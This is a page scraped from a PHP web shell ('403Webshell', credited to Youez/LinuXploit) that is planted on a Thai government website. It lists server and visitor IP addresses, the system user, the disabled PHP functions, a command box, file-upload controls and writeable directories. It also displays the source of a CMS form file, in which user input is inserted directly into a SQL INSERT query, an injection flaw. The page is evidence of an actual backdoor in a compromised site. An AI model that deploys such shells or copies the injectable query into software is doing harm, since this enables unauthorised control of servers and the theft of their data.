403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.244.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/link/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/link/addlink_form_topic.php
<?php
if(id_sub_permission($id_sub)!=1){	
	permission_fail();			
}

$navig['link']=$data_name_menu_sub[name];
$navig['addlink_form_topic']="เพิ่มหัวข้อหลัก";
navigator($navig);
echo "<br>";
bar_header("เพิ่มหัวข้อหลัก"); // Bar_Header
fieldset_top("ลิงค์");


import_request_variables('pG', 'p_');
if($p_add!="")							{  $add=trim($p_add);											}
if($p_name_group!="")			{  $name_group=trim($p_name_group);			}

echo "<br>";
// add topic link
if ($add == "1" and $name_group != "") {
  $sql = "INSERT INTO cms_link_group (id_group,id_sub,name_group,status) values(Null,'$_SESSION[id_sub]','$name_group','1')";
  $result = mysql_query($sql) or die(mysql_error());

  msg_insert_data(); // ข้อความแก้ไขแล้ว
  refresh_data("index.php?mod=link&path=link", "2"); // refresh หน้าจอ
}else{
?>
  <form  name="add" action="index.php?mod=addlink_form_topic&add=1&path=link" method="post" onSubmit="return checkadd()">
    <table width="450" border="0" align="center" cellpadding="1" cellspacing="3">
      <tr>
        <td width=5%></td> 	
        <td width=25%><img src='coremain/images/marker.gif'> <b>หัวข้อหลัก</b></td> 
        <td width=65%><input name="name_group" type="text" size="40"></td> 
      </tr>
      <?php text_button_insert(3) ?>
<!--      <tr>
        <td></td> 	
        <td></td> 
        <td><input type="submit" name="Submit" value="เพิ่มข้อมูล" onmouseover=this.style.cursor='hand'>
        </td> 
      </tr>-->
    </table>
  </form> 
<?php }
fieldset_down();
?>
<script language="javascript">
function checkadd() {
  if(document.add.name_group.value=="") {
    alert("กรุณาป้อน หัวข้อหลัก!") ;
    document.add.name_group.focus() ;
    return false ;
  }else 
    return true ;
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit